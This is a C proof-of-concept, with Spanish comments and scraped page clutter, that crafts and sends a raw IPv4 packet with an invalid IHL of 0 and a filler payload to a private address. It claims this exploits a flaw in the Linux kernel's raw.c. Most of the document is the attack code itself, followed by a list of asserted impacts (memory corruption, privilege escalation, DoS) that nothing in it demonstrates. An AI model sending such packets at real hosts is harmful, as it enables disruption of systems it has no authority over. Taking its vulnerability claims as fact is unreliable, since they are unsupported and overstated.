95 líneas
2.8 KiB
C
95 líneas
2.8 KiB
C
/*
|
|
* Ejemplo de Exploit Potencial - Vulnerabilidad en Raw Socket
|
|
*
|
|
* Este código demuestra cómo un atacante podría explotar la falta de
|
|
* validación adecuada del campo IHL en raw sockets del kernel Linux.
|
|
*/
|
|
|
|
#include <sys/socket.h>
|
|
#include <netinet/ip.h>
|
|
#include <netinet/in.h>
|
|
#include <arpa/inet.h>
|
|
#include <unistd.h>
|
|
#include <string.h>
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
|
|
struct malicious_packet {
|
|
struct iphdr ip_header;
|
|
unsigned char payload[1500]; // Tamaño del payload malicioso
|
|
};
|
|
|
|
int main() {
|
|
int raw_socket;
|
|
struct sockaddr_in target;
|
|
struct malicious_packet packet;
|
|
|
|
// Crear raw socket (requiere privilegios root)
|
|
raw_socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
|
|
if (raw_socket < 0) {
|
|
perror("No se pudo crear raw socket");
|
|
return 1;
|
|
}
|
|
|
|
// Configurar el destino
|
|
memset(&target, 0, sizeof(target));
|
|
target.sin_family = AF_INET;
|
|
target.sin_addr.s_addr = inet_addr("192.168.0.100");
|
|
|
|
// Crear paquete malicioso
|
|
memset(&packet, 0, sizeof(packet));
|
|
|
|
// VULNERABILIDAD: Campo IHL malformado
|
|
packet.ip_header.version = 4;
|
|
packet.ip_header.ihl = 0; // ¡IHL = 0! Esto es inválido
|
|
packet.ip_header.tos = 0;
|
|
packet.ip_header.tot_len = htons(sizeof(packet));
|
|
packet.ip_header.id = htons(12345);
|
|
packet.ip_header.frag_off = 0;
|
|
packet.ip_header.ttl = 64;
|
|
packet.ip_header.protocol = IPPROTO_TCP;
|
|
packet.ip_header.check = 0;
|
|
packet.ip_header.saddr = inet_addr("192.168.0.1");
|
|
packet.ip_header.daddr = target.sin_addr.s_addr;
|
|
|
|
// Payload malicioso que podría causar problemas
|
|
memset(packet.payload, 0x41, sizeof(packet.payload));
|
|
|
|
printf("Enviando paquete con IHL malformado...\n");
|
|
printf("IHL = %d (debería ser >= 5)\n", packet.ip_header.ihl);
|
|
|
|
// Enviar el paquete malicioso
|
|
if (sendto(raw_socket, &packet, sizeof(packet), 0,
|
|
(struct sockaddr*)&target, sizeof(target)) < 0) {
|
|
perror("Error enviando paquete");
|
|
} else {
|
|
printf("Paquete malicioso enviado!\n");
|
|
printf("El kernel podría procesar incorrectamente este paquete\n");
|
|
}
|
|
|
|
close(raw_socket);
|
|
return 0;
|
|
}
|
|
|
|
/*
|
|
* EXPLICACIÓN DEL PROBLEMA:
|
|
*
|
|
* 1. El campo IHL (Internet Header Length) especifica la longitud del header IP
|
|
* 2. Debe ser al menos 5 (20 bytes mínimos del header IP)
|
|
* 3. En el código del kernel (raw.c línea 383):
|
|
* iphlen = iph->ihl * 4;
|
|
*
|
|
* 4. Si IHL = 0, entonces iphlen = 0
|
|
* 5. Esto puede causar:
|
|
* - Acceso a memoria no válida
|
|
* - Bypass de validaciones de seguridad
|
|
* - Potencial corrupción de datos
|
|
* - Denegación de servicio
|
|
*
|
|
* POSIBLES IMPACTOS:
|
|
* - DoS (Denial of Service)
|
|
* - Corrupción de memoria del kernel
|
|
* - Potencial escalada de privilegios
|
|
* - Bypass de filtros de red
|
|
*/
|